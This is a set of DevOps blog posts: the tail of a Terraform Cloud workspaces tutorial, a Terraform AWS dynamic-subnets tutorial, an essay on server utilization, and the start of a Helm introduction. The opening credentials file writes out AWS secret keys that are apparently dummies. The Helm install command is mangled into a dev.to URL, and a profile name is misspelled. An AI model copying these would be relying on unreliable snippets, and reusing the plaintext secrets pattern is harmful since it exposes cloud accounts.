[tf-tutorial-workspaces-qa]
aws_access_key_id = ACCESS_KEY_FOR_QA
aws_secret_access_key = K9N?Bjb:w>Uyw9w.k^,Ap2BK-7CbsZ^fY*J3t}vp

[tf-tutorial-workspaces-staging]
aws_access_key_id = ACCESS_KEY_FOR_STAGING
aws_secret_access_key = VpKHs2*Urp3BhE3j~MVC9@W&TpR.aQu?s.n.PrBP

[tf-tutorial-workspaces-production]
aws_access_key_id = ACCESS_KEY_FOR_PRODUCTION
aws_secret_access_key = Kk~Xo&Z>3QKi-M%Vq6]LRLNAwy>7R-q4=C2rGJ8x

~/.aws/config

[profile tf-tutorial-workspaces-development]
output = json

[profile tf-tutorial-workspaces-qa]
output = json

[profile tf-tutorial-workspaces-staging]
output = json

[profile tf-tutorial-workspaces-prodcution]
output = json

Configuring the backend

Now we need to configure our infrastructure to use Terraform's Remote backend.

Project structure:

.
├── LICENSE
├── README.md
├── main.tf
└── variables.tf

main.tf

First, let's set up main.tf:

main.tf

provider "aws" {
  version = "~> 2.28"
  profile = lookup(local.profile, local.environment)
  region  = lookup(local.region, local.environment)
}

terraform {
  required_version = "~> 0.12"
  backend "remote" {
    hostname     = "app.terraform.io"
    organization = "tutorials"
    workspaces { prefix = "tf-tutorial-workspaces-" }
  }
}

Some explanations to the code above:

profile - Will be selected according to environment (Workspace)
region - Will be selected according to environment (Workspace)
backend "remote" {} - configuring our backend
- hostname - This is the configuration that tells our tfstate to be hosted remotely in app.terraform.io (Terraform Cloud)
- organization - the organization that we've created in Terraform Cloud
- workspaces - Since we're using multiple Workspaces (environments), we need to use the keyword prefix. Take the prefix of your workspaces and add a dash (-) to the end of it, just like in the code above

Important: The backend's configuration currently does not support using variables/local values. We have to hardcode our prefix; otherwise, I would've used "${local.profile_prefix}-"

variables.tf

Moving on to the variables.tf file, this is where the magic happens. Before I share 30 lines of code with you, let's break it down for our needs and how we answer those needs.

app_name - We need to give a name to our application, this will serve as a prefix for all of our resources
profile_prefix - For convenience, will be used in the local value profile
profile - We need a map for profile per environment (Workspace), used in main.tf
region - We need a map for region per environment (Workspace), also used in main.tf
environment - We need to initialize this variable with the name of the Workspace we're currently using, luckily we have terraform.workspace for doing that
common_tags - For convenience, we will use it in all resources, it will help us mark the resources that are managed by Terraform
name_prefix - For convenience, we will use it in all resources

variables.tf

locals {
  app_name       = "workspaces-app"
  profile_prefix = "tf-tutorial-workspaces"
}

locals {
  profile = {
    "development" = "${local.profile_prefix}-development"
    "qa"          = "${local.profile_prefix}-qa"
    "staging"     = "${local.profile_prefix}-staging"
    "production"  = "${local.profile_prefix}-production"
  }
  region = {
    "development" = "us-west-2"
    "qa"          = "us-east-2"
    "staging"     = "us-east-1"
    "production"  = "ca-central-1"
  }
}

locals {
  environment = "${terraform.workspace}"
}

locals {
  common_tags = {
    Terraform   = "true"
    Environment = local.environment
  }
  name_prefix = "${local.app_name}-${local.environment}"
}

Note: I split the local values into four groups to make it more readable and organized.

Everything is ready! Now we need to initialize Terraform to make it work with Workspaces and a remote backend that stores tfstate.

Select relevant terraformrc configuration file

We've created the files terraformrc-team and terraformrc-user, since we're doing manual work and we're not executing CI/CD pipeline, we'll use the terraformrc-user.
The environment variable TF_CLI_CONFIG_FILE defines the location of the configuration file that will be used for the current run.

Assuming your current working directory is your project's directory:

export TF_CLI_CONFIG_FILE="${PWD}/.terraformrc-user"

You can set this environment variable automatically on system startup, follow these instructions: Windows Git Bash, Ubuntu, MacOS.
Make sure you replace ${PWD} with the absolute path to .terraformrc-user

Initialize Terraform

Make sure you're in the repository's working dir, in my case it's ./tf-tutorial-workspaces.

Execute:

terraform init

When prompted to select a Workspace, insert one (1), and hit ENTER, it doesn't matter at this point.

Expected output:

Initializing the backend...

The currently selected workspace (default) does not exist.
  This is expected behavior when the selected workspace did not have an
  existing non-empty state. Please enter a number to select a workspace:

  1. development
  2. production
  3. qa
  4. staging

  Enter a value: 1


Initializing provider plugins...
- Checking for available provider plugins...
- Downloading plugin for provider "aws" (hashicorp/aws) 2.29.0...

Terraform has been successfully initialized!

# omitted the rest of the text for brevity

Troubleshooting - terraform init

"local.environment is default"

This error happens when Execution Mode is Remote in the Workspace's settings. The Remote Execution Mode doesn't work with the terraform.workspace variable, so make sure you set it in the Workspace's settings to Local, at least until the issue22802 is fixed.

Share tfstate and Workspaces with colleagues

Everything we did so far was the initial setup. Now tell your colleagues to:

Create an account in Terraform Cloud - and then you need to add them to you your organization, click organization name --> Settings --> Teams --> owners --> Add a New Member
- If you can't see owners, then it's ok, click on Add Users and it will add this user to the owners team. The owners team is the default team
Configure Terraform credentials with user token in .terraformrc-user - just like you did earlier. Don't forget to select TF_CLI_CONFIG_FILE
Create AWS named profiles (config, credentials), just like you did earlier
Execute terraform init

Your colleagues will now be using the same tfstate file you're using, and they can access the Workspaces that you've already created.

Note: Instead of adding users to the owners team, you should create a team per department/actual team, for example, developers-team, operations-team, etc.

Working with Workspaces

Select Workspace (environment)

You'll be amazed by how simple it is to select the environment, here are the available commands:

terraform workspace list - List available Workspaces
terraform workspace select workspace_name - Select relevant Workspace
terraform workspace show - Shows the selected Workspace
terraform apply - Apply changes to infrastructure
terraform destroy - Destroy infrastructure

Example for usage

Adding resources to your git repository

Let's add an S3 bucket:

s3.tf

resource "aws_s3_bucket" "bucket" {
  count  = "${lookup(local.create_s3, local.environment)}"
  bucket = "${local.name_prefix}-s3"
  acl    = "private"
  region = "${lookup(local.region, local.environment)}"

  versioning {
    enabled = true
  }
  tags = local.common_tags
}

s3.variables.tf - A good example of how we can control the creation of resources per environment.

locals {
  create_s3 = {
    "development" = 0
    "qa"          = 1
    "staging"     = 1
    "production"  = 1
  }
}

The current project structure:

.
├── LICENSE
├── README.md
├── main.tf
├── s3.tf
├── s3.variables.tf
└── variables.tf

This project is available on GitHub:

unfor19 / tf-tutorial-workspaces

Learn how to use Terraform Cloud and Workspaces

Example

$ terraform workspace list
* development
  production
  qa
  staging
$ terraform workspace select qa
$ terraform apply
Acquiring state lock. This may take a few moments...

# omitted text for brevity

  # aws_s3_bucket.bucket[0] will be created
  + resource "aws_s3_bucket" "bucket" {
      + acceleration_status         = (known after apply)
      + acl                         = "private"
      + arn                         = (known after apply)
      + bucket                      = "workspaces-app-qa-s3"
      + bucket_domain_name          = (known after apply)
      + bucket_regional_domain_name = (known after apply)
      + force_destroy               = false
      + hosted_zone_id              = (known after apply)
      + id                          = (known after apply)
      + region                      = "us-east-2"
      + request_payer               = (known after apply)
      + tags                        = {
          + "Environment" = "qa"
          + "Terraform"   = "true"
        }
# omitted arguments for brevity
    }

Plan: 1 to add, 0 to change, 0 to destroy.

Do you want to perform these actions in workspace "qa"?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value:

Look at the S3 bucket name and region! Everything indicates that we're working on the qa Workspace, woohoo!

Troubleshooting - terraform plan

Error: error starting operation: The configured "remote" backend encountered an unexpected error:

invalid value for workspace

You executed a terraform plan or terraform apply without selecting a Workspace. Make sure you select a Workspace first.

Final words

Terraform Cloud service is still new, but it's fantastic, and if you have any questions or comments, fire at will!

My next article will be about how to use 3rd-party binaries, such as aws-vault and Terraform, in Windows Git Bash.

Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.

Originally published at https://prodops.io on October 6, 2019.

Terraform AWS - Dynamic Subnets

Meir Gabay — Fri, 20 Sep 2019 12:10:24 +0000

Update - 17-Oct-2019 changelog: Terraform released a new function named cidrsubnets, this function creates a list of cidr-subnets. This function is great, and I recommend using it. Even though this function shortens some parts of this tutorial, you should still read it if you want to learn how to use functions in Terraform.

Objectives

Create sets of subnets dynamically
Learn advanced concepts in Terraform
- map variable and lookup function
- for loop and conditional for loop
- index function in a for loop

Knowledge and assumptions

You are familiar with subnetting (a.b.c.d/xx) - a great online tool for calculating subnets - cidr.xyz
You are using Terraform v0.12+
You have previous experience with:
You know what's a for loop
I'll be using the module terraform-aws-modules/vpc/aws for the VPC. This module requires lists of subnets (private, database, public), which is exactly what we're going to create

Issue #1: Subnets per environment

Hardcoding subnets per environment can be a significant overhead. By doing so, you might end up writing a lot of lines with hardcoded network prefixes.
Moreover, it takes off the flexibility that infrastructure as code (IaC) has to offer.

Set cidr_ab per environment

cidr_ab to the rescue! Set the start of the VPC CIDR as a map variable, and map each cidr_ab value to the appropriate environment. If you're not using all four, remove it from the mapping.

A subnet pattern (prefix) is: a.b.c.d/xx , so this will cover the a.b part of all subnets per environment. For example:

variable "cidr_ab" {
    type = map
    default = {
        development     = "172.22"
        qa              = "172.24"
        staging         = "172.26"
        production      = "172.28"
    }
}

Get cidr_ab per environment

Maps and lookup functions provide great functionality, and in our case, it makes it easy to get the cidr_ab per environment.

Here's the syntax of the lookup function: lookup(map, key, default)

To create a local list private_subnets with the relevant cidr_ab per environment, use the following:

Reminder: To concatenate an expression and text: "${expression} my text"

locals {
    private_subnets = [
        "${lookup(var.cidr_ab, var.environment)}.1.0/24",
        "${lookup(var.cidr_ab, var.environment)}.2.0/24",
        "${lookup(var.cidr_ab, var.environment)}.3.0/24"
    ]
}

Keep in mind that we need to do that for database and public subnets aswell.

Issue #1: Full Solution

Assuming we want to create the following subnets: private, database, and public. Here's how our variables.tf and vpc.tf files should look like:

variables.tf

variable "cidr_ab" {
    type = map
    default = {
        development     = "172.22"
        qa              = "172.24"
        staging         = "172.26"
        production      = "172.28"
    }
}

locals {
    private_subnets         = [
        "${lookup(var.cidr_ab, var.environment)}.1.0/24",
        "${lookup(var.cidr_ab, var.environment)}.2.0/24",
        "${lookup(var.cidr_ab, var.environment)}.3.0/24"
    ]

    database_subnets        = [
        "${lookup(var.cidr_ab, var.environment)}.11.0/24",
        "${lookup(var.cidr_ab, var.environment)}.12.0/24",
        "${lookup(var.cidr_ab, var.environment)}.13.0/24"
    ]

    public_subnets          = [
        "${lookup(var.cidr_ab, var.environment)}.64.0/24",
        "${lookup(var.cidr_ab, var.environment)}.65.0/24",
        "${lookup(var.cidr_ab, var.environment)}.66.0/24"
    ]
}

variable "environment" {
    type = string
    description = "Options: development, qa, staging, production"
}

vpc.tf

module "vpc" {
    source = "terraform-aws-modules/vpc/aws"
    version = "~>2.0"
    name                 = "my-vpc"
    cidr                 = "${lookup(var.cidr_ab, var.environment)}.0.0/16"
    private_subnets      = local.private_subnets
    database_subnets     = local.database_subnets
    public_subnets       = local.public_subnets

    azs                  = ["us-west-2a", "us-west-2b", "us-west-2c"]

    # omitted arguments for brevity

}

Issue #2: Subnets per Availability Zone

In issue #1, we solved the subnets per environment, but the Availability Zones (azs) were hardcoded.

One might think; "Let's simply create a map variable for the region, and then use the region's name followed by 'a', 'b', 'c'". For example:

variable "region" {
    type = map(string)
    default = {
        "development" = "us-west-2"
        "qa"          = "us-east-2"
        "staging"     = "us-east-1"
        "production"  = "ca-central-1"
    }
}

module "vpc" {

    # omitted arguments for brevity

    azs = [
        "${lookup(var.region, var.environment)}a",
        "${lookup(var.region, var.environment)}b",
        "${lookup(var.region, var.environment)}c",
    ]
}

If all the regions that you're using have the same amount of availability zones - then the above solution is perfect. Unfortunately, that's not true when it comes to ca-central-1 (Canada Central) which has only two availability zones. Another example would be us-east-1 (Virginia) which has six availability zones.

Note: Use AWS Global Infrastructure to find out the number of availability zones per region. And Regions and Availability Zones to figure out the region's code (e.g., eu-west-1)

data aws_availability_zones

We can get the availability zones of the region that is currently taking place, by using data "availability_zones".

Here's is how we do it:

data "aws_availability_zones" "available" {
    state = "available"
}

Some explanations regarding the code above:

data - get existing data/resources available in your account
aws_availability_zones - gets the list of availability zones in the current region
available - a name for that data, it's important to pick a name that reflects the meaning of the data
state = "available" - filters out availability zones that currently experience outages

Let's save the data in a local value. You might be wondering, "Why are we using local values? We also did it with the subnets, why oh why?"

Rule of thumb - if there's any chance you're going to manipulate a variable/value, use a local value. This trick provides granularity to manage local.var_name. It is best to manage variables behind the scenes without touching the infrastructure's code (vpc.tf, rds.tf, s3.tf files). Worst case scenario - we've used a local value even though we haven't manipulated it.

Saving the availability zones names list in a local value:

locals {
    availability_zones = data.aws_availability_zones.available.names
}

Issue #2: Full solution

variables.tf

variable "cidr_ab" {
    type = map
    default = {
        development     = "172.22"
        qa              = "172.24"
        staging         = "172.26"
        production      = "172.28"
    }
}

locals {
    private_subnets         = [
        "${lookup(var.cidr_ab, var.environment)}.1.0/24",
        "${lookup(var.cidr_ab, var.environment)}.2.0/24",
        "${lookup(var.cidr_ab, var.environment)}.3.0/24"
    ]

    database_subnets        = [
        "${lookup(var.cidr_ab, var.environment)}.11.0/24",
        "${lookup(var.cidr_ab, var.environment)}.12.0/24",
        "${lookup(var.cidr_ab, var.environment)}.13.0/24"
    ]

    public_subnets          = [
        "${lookup(var.cidr_ab, var.environment)}.64.0/24",
        "${lookup(var.cidr_ab, var.environment)}.65.0/24",
        "${lookup(var.cidr_ab, var.environment)}.66.0/24"
    ]
}

data "aws_availability_zones" "available" {
    state = "available"
}

locals {
    availability_zones = data.aws_availability_zones.available.names
}

variable "environment" {
    type = string
    description = "Options: development, qa, staging, production"
}

vpc.tf

module "vpc" {
   source = "terraform-aws-modules/vpc/aws"
    version = "~>2.0"
    name                 = "my-vpc"
    cidr                 = "${lookup(var.cidr_ab, var.environment)}.0.0/16"
    private_subnets      = local.private_subnets
    database_subnets     = local.database_subnets
    public_subnets       = local.public_subnets

    azs                  = local.availability_zones

    # omitted arguments for brevity

}

Issue #3: Dynamic cidr_c

That's the part where I'm greedy, and I want to populate cidr_c according to the number of availability zones. So far we've covered a.b.c.d/xx, now we will cover this part a.b.c.d/xx

For example (pseudo-code):

# define cidr_c per subnet
cidr_c_private_subnets =  1
cidr_c_database_subnets = 11
cidr_c_public_subnets = 64

number_of_azs = 2

# dynamically populate lists of subnets
private_subnets  = ["a.b.1.d/xx", "a.b.2.d/xx"]
database_subnets = ["a.b.11.d/xx", "a.b.12.d/xx"]
public_subnets   = ["a.b.64.d/xx", "a.b.65.d/xx"]

for loop

Dynamically populating sounds like a loop, and in Terraform we got the for loop.

Terraform's for loop reminds me of Python's list comprehension, which means - create a new list with a for loop.

Syntax of the for loop statement:
[for item in list: do_something_on(item)]

Pseudo-code of the loop that we need:

for availability_zone in local.availability_zones:
  "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_private_subnets + index_of_availability_zone}.0/24"

Some explanations regarding the code above:

availability_zone - I picked the name of the iterator, it could also be az or any other name
index_of_availability_zone
- First index of a list is zero (0)
- Assuming ${lookup(var.cidr_ab, var.environment) equals to one (1) for private_subnets
- Adding the current index of the availability zone to ${lookup(var.cidr_ab, var.environment), result in:
  - 1 + 0
  - 1 + 1
  - 1 + 2

get the index of the availability zone

The index function to the rescue!

Syntax of index function:
index(list_to_search_in, value_to_search_for)

The list we're searching in is local.availability_zones and the value we're looking for is the loop's iterator, availability_zone in our case.

Replacing index_of_availability_zone with index(local.availability_zones, az) result in:

locals {
    private_subnets = [
        for az in local.availability_zones:
          "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_private_subnets + index(local.availability_zones, az)}.0/24"
    ]
}

Issue #3: Full solution

The iterator's name in each loop is az, I picked a shorter name than availability_zone to make it more readable. Since we use local values, we only need to change the variables.tf file, no need to touch vpc.tf file

variables.tf

variable "cidr_ab" {
    type = map
    default = {
        development     = "172.22"
        qa              = "172.24"
        staging         = "172.26"
        production      = "172.28"
    }
}

locals {
    cidr_c_private_subnets  = 1
    cidr_c_database_subnets = 11
    cidr_c_public_subnets   = 64
}


data "aws_availability_zones" "available" {
    state = "available"
}

locals {
    availability_zones = data.aws_availability_zones.available.names
}

variable "environment" {
    type = string
    description = "Options: development, qa, staging, production"
}

locals {
    private_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_private_subnets + index(local.availability_zones, az)}.0/24"
        ]
    database_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_database_subnets + index(local.availability_zones, az)}.0/24"
        ]
    public_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_public_subnets + index(local.availability_zones, az)}.0/24"
        ]
}

Issue #4: Limit number of subnets

In solution #3 we populated subnets according to the number of availability zones, which is excellent, but this can lead to unwanted behavior when using the module terraform-aws-modules/vpc/aws.

If you want to have a set of subnets per availability zone, without caring for how many subnets are created per region, you can stop here.
It will be easier to explain with an example:
ca-central-1 (Canada Central) - 2 availability zones, hence 6 subnets
us-west-2 (Oregon) - 4 availability zones, hence 12 subnets

If you wish the number of subnets to be similar across all environments (and regions) - keep on reading. For example:
Let's assume we must use ca-central-1 (Canada Central), and because of that, we are forced to use only two availability zones in each region.
ca-central-1 (Canada Central) - 2 availability zones, hence 6 subnets
us-west-2 (Oregon) - 4 availability zones, forcing maximum of 6 subnets (2 per type of subnet)
In total, we will have six subnets in our VPC (not including the 'default' one that comes with the VPC).

Rule of thumb - We need the lowest common number of availability zones that are available in all the regions we intend to use.

Maximum number of subnets

We will now initialize three more variables, subnet_max per subnet.

variables.tf

locals {
    cidr_c_private_subnets  = 1
    cidr_c_database_subnets = 11
    cidr_c_public_subnets   = 64

    max_private_subnets     = 2
    max_database_subnets    = 2
    max_public_subnets      = 2
}

Conditional for loop

Luckily the for loop has a built-in keyword if, which still reminds me of Python's list comprehension :)

Syntax of for loop with condition:
[for item in list: do_something_on(item) if expression]

Our goal is to iterate over the availability zones until we reach the maximum desired number of subnets.

Issue #4: Full Solution

And of course, we only need to change the variables.tf file.

variables.tf

variable "cidr_ab" {
    type = map
    default = {
        development     = "172.22"
        qa              = "172.24"
        staging         = "172.26"
        production      = "172.28"
    }
}

locals {
    cidr_c_private_subnets  = 1
    cidr_c_database_subnets = 11
    cidr_c_public_subnets   = 64

    max_private_subnets     = 2
    max_database_subnets    = 2
    max_public_subnets      = 2
}

data "aws_availability_zones" "available" {
    state = "available"
}

locals {
    availability_zones = data.aws_availability_zones.available.names
}

variable "environment" {
    type = string
    description = "Options: development, qa, staging, production"
}

locals {
    private_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_private_subnets + index(local.availability_zones, az)}.0/24"
            if index(local.availability_zones, az) < local.max_private_subnets
        ]
    database_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_database_subnets + index(local.availability_zones, az)}.0/24"
            if index(local.availability_zones, az) < local.max_database_subnets
        ]
    public_subnets = [
        for az in local.availability_zones : 
            "${lookup(var.cidr_ab, var.environment)}.${local.cidr_c_public_subnets + index(local.availability_zones, az)}.0/24"
            if index(local.availability_zones, az) < local.max_public_subnets
        ]
}

Summary

Some solution architects might prefer hard-coding the subnets prefixes in the vpc.tf file, which in most cases will work fine. The fact that I had only to change the variables .tf file each time is priceless
The logic behind the order of variables in variables.tf file -
- variables that should be modified, such as:
  - region per environment (map)
  - local cidr_c and max_subnets for each type of subnet
- static variables/data, such as:
  - data "aws_availability_zones" "available"
  - local.availability_zones
  - local.subnet_list for each type of subnet
I find that using local values instead of variables is a good approach, and it provides the flexibility I need when designing the infrastructure
- The only case where we need variables is when we want to prompt for values, for example: var.environment
- Always use local values; they provide the ability to use functions, unlike variables
- I used var.environment and var.cidr_ab - but I should've assigned them to local values. I used variables because I wanted to make this tutorial versatile. Remember- local values are the best
AWS keeps adding availability zones (AZs), so the number of availability zones per region in the examples might be outdated. Be sure to check the current number of AZs
- AWS Global Infrastructure
- Regions and Availability Zones

Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.
Didn't you like it? Let me know which parts and I'll take care of it.

My next article will be about Terraform Cloud and Terraform's Workspaces.

Originally published at https://www.prodops.io.

“Server Utilization” is a nonsense metric

Evgeny Zislis — Mon, 09 Sep 2019 14:58:00 +0000

Not surprising that even in 2019, there are still people in IT who think that a single server’s utilization should be a significant measurement, completely forgetting the importance of holistically looking at the system as a whole. This post explains the Systems Thinking way to think about IT, with a pinch of Theory of Constraints understanding of “buffers” added in.

The story begins with a recent question in our Operation Israel community:

Policy makers in government want to see proven benchmarks comparing open-source (LAMP, Kubernetes) server utilization vs. classic Microsoft Windows based servers (IIS, SQLServer).

Are there any documents, posts or studies to refer them to?

It is great that people in government want to define a policy to improve things. This policy is going to be used for making decisions at various IT branches of government and this policy definition process starts by asking a naive question: “is it better to have a server with IIS and SQLServer or a server with LAMP or maybe even Kubernetes?”

They are not asking what would enable faster, better, higher quality deliveries to citizens in terms of IT and how to enable it. This policy is focussed around the utilization of servers, and how to choose which technology stack to use to get a “better” result in terms of utilization.

But is high utilization of servers is “good” and low utilization is “bad”? Or maybe vice-versa?

Logical reasoning behind the thinking that higher utilization is better.

I would guess that “waste” in terms of unutilized servers is considered bad, and thus servers that have “higher utilization” are thus considered better.

It there a fallacy in this logic? Yes, but it depends on what kind of “servers” we are talking about here. Since the opposite of having less waste is not filling up the wasted capacity. But rather reducing waste means having a better fit between the applications (generators of utilization) and the servers.

How about using smaller fit-for-purpose servers to solve this?

Maybe it is the fault of the applications and not the servers.

So the natural conclusion is that there must be a KPI (performance indicator) that measures the utilization of servers, and when the utilization is very high it also means that the waste is very low — thus an IT policy that defines high utilization as standard makes sense. Because servers are expensive and taxpayer money should not be wasted. Right?

Business/Government Outcomes

The government IT systems are serving the citizens in many ways, taxation, benefits, licenses and many more. When these systems are not available or don’t work, I consider that a bad thing. When everything works like it should, even during peak demand and all citizens are provided with quality service I consider it a good thing.

As more citizens are using these IT systems, the capacity demand of the applications is increased. Thus the servers where the applications are deployed must have ample spare capacity to accommodate the increase in demand. But wait a minute, this means that utilization must not be high!

The “Conflict Cloud” of utilizing servers

So what should the policy say? Spend as much taxpayer money as possible to keep all systems running with ample spare capacity? Or spend as little taxpayer as possible to get unstable systems that are often broken and are not serving the citizens properly? How to choose a technology stack that enables the maximum utilization of servers or the minimum utilization of servers?

How to choose a technology stack that enables maximum utilization of servers?

Fortunately, we live in a world that this question has been answered already. Not so long ago (10–15 years ago) the demand on applications and servers was mostly non-existent for most companies, with the exception of few very successful ones such as Amazon or Google. Facebook didn’t even exist yet.

Even back in 2005 in these specific companies, the trouble of wasting a huge amount of unutilized server capacity incurred many millions of dollars of waste. This led Amazon and Google to search for a solution to the problem. And by the way, they were already using mostly Linux as a core component in their technology stack. In 2003 Google invented Borg, the precursor for Kubernetes, and in 2004 Amazon invented Elastic Compute Cloud (EC2) a major service providing compute in Amazon Web Services (AWS).

Utility Computing

What exactly was the problem in these companies, and how did they solve it using these new technologies? Jon Jenkins explains back in 2011 that during a normal month, Amazon.com could have 39% spare server capacity just standing idle because of demand fluctuation. Translate that into dollars, it is millions of dollars.

Typical Weekly Traffic to Amazon.com — Jon Jenkins 2011

Notice the red line? That is the amount of capacity “reserved”. The number of servers that Amazon.com had to buy and rack in their data-centers in order to have enough capacity to serve the peak demand +15% spare buffer. Arriving at this number is a familiar IT activity called “Capacity Planning”.

In effect, for Amazon.com it was much worse than this, during the holidays in the month of November. An annual spike in demand required much more spare capacity to be available in order to “protect” the business and allow buyers on Amazon.com buy gifts for their loved ones. There was an astonishing 76% spare server capacity sitting there idle and not utilized, just waiting for the spike in demand to arrive.

What did they do with all those servers during the rest of the year?

November Traffic for Amazon.com — Jon Jenkins 2011

Capacity planning is the practice of trying to figure out in advance how much capacity is required to allow the application to meet its expected demand. In a traditional IT shop that would determine the number of servers that need to be bought and racked, spending all the money in advance in addition to the waste caused by near-zero utilization for most of that servers’ lifetime.

There is a circulating rumor that AWS was started because Amazon.com had all this spare capacity sitting there doing nothing. The story goes that a couple of guys were sitting in the control room of a data-center that was powered off after the holidays, and they came up with this idea to sell all of the servers virtually which later became known as AWS EC2.

The true story is explained by Benjamin Black on his blog in which he writes that Chris Pinkham was constantly pushing them to find better ways to decouple the infrastructure as independent components. And one of the results was this document explaining how to reduce the fine-grained coupling between applications and hardware. A side note in the document mentioned that virtual servers could maybe even be sold to external users which Jeff Bezos approved of and later set Chris to go and create the EC2 team in 2004. According to Jon Jenkins, six years later Amazon.com turned off their last physical server and moved completely onto EC2 for all Amazon computing.

Decoupling

The solution to having much higher utilization is hidden in the explanations above. What Jon and Benjamin describe is how they compact and decouple components by making them small and independent. Thus creating the magic that enabled Amazon to move towards using computing as a utility. They called it “Utility Computing” back then, we usually call it “The Cloud” today.

Breaking down monolithic applications and infrastructure into small components has multiple benefits. It allows innovating and improving each such component independently of others. Improvements in the storage component do not affect improvements in the networking component or in application components.

Having small independent components also makes it much easier to reuse and create more copies. Which enables the possibility of “horizontal scaling”, having small independent components to scale individually as needed and take as much capacity as it requires out of a much bigger pool of computing capacity available for all.

I call this the “insurance company business model math”. Start with 1,000,000 people who pay $50 insurance each month — it is now possible to fund 1,000 people every year with up to $600,000 insurance claims each. On the other hand, should each person only save their $50 in a safe, it could allow each person to claim only $600/year.

The practice of “horizontal scaling” of independent components enables applications to use less compute capacity overall, each component is relatively small and can live in multi-tenancy with other components on the same physical hardware — the big pool of hardware becomes like the pool of money in an insurance company, much too big for everyone to use all at once. Each component usually is using just a portion, and during peak or high load not all of the components are scaled to their maximum — because usually it is not required. But those components that do scale, have the spare capacity to use.

Buffer Management

So now you learned that it is important to keep infrastructure cost low, and at the same time, it is important to keep uptime high. And the way to solve the conflict is using horizontal scaling with many small componentized services.

But how to actually do it? When to scale up and when to scale down?

Look at the Amazon.com graph from before, the usage pattern reflects the traffic of the website and is used as a proxy metric to determine how much capacity is required. How should they decide when to scale the capacity?

When capacity planning is done by humans, as a once-a-year activity just before the budget planning period. Then the planned capacity has to be a fixed number, we require 100 additional servers this year. The IT manager goes with this number to the CFO and explains that without those 100 servers the business is going to get the unfortunate downtime now and again. Everyone understands that the existing 1,000 servers already have so much wasted spare capacity … it is not even funny how pathetic this is. And when the existing servers don’t have spare capacity, then downtime of services is rampant and fire fighting is the norm already. The “Conflict Cloud” is represented and reflected directly on business performance and financials.

It is also very hard to make the capacity plan anything but a fixed number because racking servers in a data-center takes a lot of time and effort. The servers must be purchased, delivered, racked, provisioned and only then used by applications. Each such step takes weeks or months in traditional IT.

Even companies that adopt the “Public Cloud” are usually not much better. It just becomes much easier to create additional waste because it takes less time to “buy and provision” a server, usually by a developer who clicks a button. These developers who are now doing all the spending are not controlled by the CFO or budgets at all, causing redundant spend and waste to be rampant.

When a single application is using a single “big” server, as described in the insurance math example, the pool of capacity for that one application is limited to that server — it cannot horizontally scale. Most of the time this single-server pool of capacity is not being used in full, utilization is low, while uptime is okay. Maybe it is vice-versa, utilization is high and downtime is common, either scenario is not such a great thing to have.

How much spare capacity is required to keep uptime high and cost low? — Whitespace on top is “not waste”

Managing a big pool of capacity requires using a method to determine how much each application needs to use at any given moment. In the world of “The Cloud” they call it “Automatic Scaling”. Using the capability to horizontally scale each component in the application to only use the amount of capacity it requires at that moment with the +15% for protection.

A good way to automate this automated decision management is to use Eli Goldratt’s buffer management techniques. In the example above, the blue line specifies how many servers that component has to take away from the pool at any given time. And the red/yellow/green areas are an indicator to specify when to scale into more horizontal instances, and when to scale down into fewer component instances to free up capacity in the pool.

When the amount of capacity is in the green area, everything is great. When it gets into the top yellow, add more capacity, in the bottom yellow reduce reserved capacity back into the pool for others to use. The red area is the danger zone, either the service is going to be out of capacity, or the utilization is much higher (wasteful) than it needs to be on the bottom red.

Conclusion

This article started with the question “Is it better to have Windows Servers with IIS, or Linux servers with Kubernetes in terms of server utilization”. The answer is highly dependant on the application. There are no right or wrong answers. If the technological stack of an application has many independent small components that can scale horizontally — utilization can be improved.
I would argue that using the public cloud, or using a container orchestrator such as Kubernetes is one way to force breaking down the monoliths into smaller components. These technologies simply require it to be so.

Adopting Kubernetes or Linux for a mostly Windows shop will be a very hard struggle at first, and the investment might not even be worth the benefits. But what it will do, is force the organization to break down their monoliths and get closer to the multi-tenant independent small components, thus enable all the described benefits. The benefits are definitely there to be had, especially when huge waste and inflexibility is the standard way of operating in so many IT shops today still.

Hopefully, this article has provided you with some ideas to implement in your own operations, maybe you even learned a thing or two about buffers and capacity planning.

Let us know in the comments what you think!

Reference

Jon Jenkins on Velocity Culture
Jon Jenkins on How Amazon Migrated to AWS (2, 3)
Benjamin Black on EC2 Origins
Jeff Bezos interview at D6 2008 Part 3 (1, 2, 4, Transcript)
Eli Goldratt on Buffer Management — Full episode is for pay, talks about how the world’s Steel Industry has a wasteful amount of excess inventory.
DevOps and the Theory of Constraints

A 6-minute introduction to HELM

Omer Hamerman — Mon, 02 Sep 2019 15:25:41 +0000

Simplifying Kubernetes application management

Photo by pexels.com

After completing a 4-month period on a client’s project that included a complete migration from “raw” K8S-yaml-files to Helm Charts, I figured I need to put the things I’ve learned in writing for others to read, and for me to better learn.
This post is the little brother of my 8-minute introduction to Kubernetes, make sure you read it first if you're not yet familiar with basic K8s concepts.

TL;DR

You can install dependencies and proprietary software on your K8S cluster with a simple: helm install https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi/mysql, there are hundreds of available installations like this one, but you can also do that with your own product/services!

What’s HELM?

“A helmsman or “helm” is a person who steers a ship, sailboat, submarine, other types of maritime vessel, or spacecraft.” — Wikipedia
“The package manager for Kubernetes; Helm is the best way to find, share, and use software built for Kubernetes.” — Helm.sh

Why do we need it?

A question I asked myself multiple times trying to understand how this magical installer thing is making my Kubernetes life better.
Well, Helm lets you fetch, deploy and manage the lifecycle of applications, both 3rd party products and your own.

No more maintaining random groups of YAML files (or very long ones) describing pods, replica-sets, services, RBAC settings, etc. With helm, there is a structure and a convention for a software package that defines a layer of YAML templates and another layer that changes the templates called values. Values are injected into templates, thus allowing separation of configuration, and defining where changes are allowed. This whole package is called a "Helm Chart".

